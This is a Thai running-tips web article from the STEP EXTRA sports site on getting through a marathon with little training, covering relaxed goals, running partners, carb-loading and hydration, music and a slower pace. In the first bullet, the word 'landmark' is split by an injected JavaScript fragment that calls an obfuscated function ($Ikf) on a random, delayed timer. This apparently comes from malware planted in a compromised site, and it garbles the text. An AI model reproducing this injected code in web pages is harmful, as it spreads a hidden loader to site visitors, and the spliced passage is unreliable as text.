• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

เอาตัวรอดจากมาราธอนแบบใจร่มๆ

kan by kan
14 November 2017
in Running Tips, Tips & Technics
0
อาการ Dehydration (ขาดน้ำ) อันตรายกว่าที่คิด นักวิ่งโปรดระวัง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เรากำลังเข้าสู่ฤดูแห่งมาราธอนแล้วครับทานผู้ชม…นับแต่เดือนพฤศจิกายนยาวไปจนถึงกุมพาพันธ์ ถือว่าเป็นช่วงที่มาราธอนชุกชมมาก ไม่ว่าจะเป็นจอมบึงมาราธอน ขอนแก่นมาราธอน สุพรรณบุรีมาราธอน บุรีรัมย์มาราธอนและเชียงใหม่มาราธอน เหตุเพราะว่าช่วงนี้อากาศจะไม่ร้อนมากนักหากมีหนาวด้วยถือว่าโชคดี

สำหรับนักวิ่งที่มีระเบียบวินัยดี ฝึกครบตามตาราง สะสมไมล์ได้อย่างที่ต้องเป้าไว การวิ่งมาราธอนไม่น่าจะมีปัญหามากนัก แต่สำหรับมนุษย์ออฟฟิศงานเยอะ วิ่งบ้างซ้อมบ้างเบาๆ และเก็บระยะไม่ถึง เรามีวิธีช่วยให้คุณวิ่งมาราธอนได้ถึงฝั่งฝันกัน

  • เปลี่ยนเป้าหมายใหม่ การไปวิ่งครั้งนี้คือการเที่ยวชมบรรยากาศเมือง การวิ่งเพื่อทำเวลาไม่ใช่เรื่องใหญ่ คุณมีเป้าหมายใหม่นั้นคือ การวิ่งผ่านจุด landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmark ที่สำคัญ เป็นเควสเก็บสถานที่แทน หรือเควสดื่มน้ำทุกจุด ทั้งนี้ก็เพื่อลดความกดดันและความคาดหวังของตัวเองลง การวิ่งบนความกดดันของตัวเอง จะทำให้เราเร่งฝีเท้าทำความเร็วในขณะที่ร่างกายไม่พร้อมที่จะรับ workload ในระยะมาราธอนได้ เราอาจจะจบแต่เจ็บ (บาดเจ็บแน่นอน)
  • หาเพื่อน เราไปสนุกกับการวิ่ง เราคือกลุ่มนักวิ่ง 42.195K เราจะหนี Cut-off ไปด้วยกัน เปลี่ยนบรรยากาศการวิ่งมาราธอนให้สนุกมากขึ้นเมื่อวิ่งไปกับเพื่อน และถือว่าสามารถฆ่าเวลาได้ดีเช่นกัน การมีเพื่อนวิ่งเคียงข้างจะช่วยให้เรารักษาจังหวะการวิ่งได้ดี ไม่น่าเบื่อและมีการช่วยกันดูแล
  • โหลดคาร์บให้เยอะเข้าไว้ แล้วค่อยไปเบริ์นกันต่อที่งาน สะสมไกลโคเจมในมัดกล้ามเนื้อไว้ใช้งานให้ได้มากที่สุด และลองพวกกาเฟอีนดื่มดูนะครับ มันจะช่วยทริคร่างกายให้เฟรส มีพลังงานและกระปรี้กระเปร่า แนะนำให้ดื่มเครื่องดื่มเกลือแร่และน้ำก่อนวิ่งด้วย ของกินเพิ่มพลังงานระหว่างวิ่งก็สำคัญ จะเป็นเจล บาร์หรือธัญพืชอัดแท่งก็ได้ และอีกคำแนะนำที่เราควรปฏิบัติตามคือ ดื่มน้ำเป็นระยะๆ แม้ไม่หิว เพราะถ้าเรารู้สึกว่าหิวน้ำนั้นคือร่างกายเราขาดน้ำแล้ว
  • หาเพลงฟังปลุกใจเข้าไว้ บทเพลงมีพลังช่วยให้เราวิ่งเร็วขึ้นและลบความเมื่อยล้าและอาการปวดล้าได้ ยิ่งเพลงที่มี beat เยอะๆ จะทำให้เราวิ่งได้เร็ว (ช่วยฆ่าเวลาเช่นกัน)
  • ซอยเท้าสั้นๆ เล่นรอบเข้าไว้ การวิ่งครั้งนี้ไม่ได้ทำความเร็ว ถ้าปกติวิ่ง Pace 6 ก็ให้บวกเป็น Pace 7-8 เลยครับ เลี้ยง Pace ไปเรื่อยๆ ใกล้ๆ ถึงเส้นชัยถ้ามีแรงเหลือก็ค่อยอัดเพิ่มความเร็ว

สุดท้ายนี้ก็ต้องนอนหลับให้เพียงพอ ตื่นขึ้นมาให้สดใส่ที่สุดให้ร่างกายและจิตใจได้พักผ่อน พาเพื่อนพากองเชียร์ได้เยอะๆ จะได้มีกำลังใจ ส่วนเวลาที่จบนั้น…ช่างมัน รอบนี้เรามาวิ่งชมนกชมไม้

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.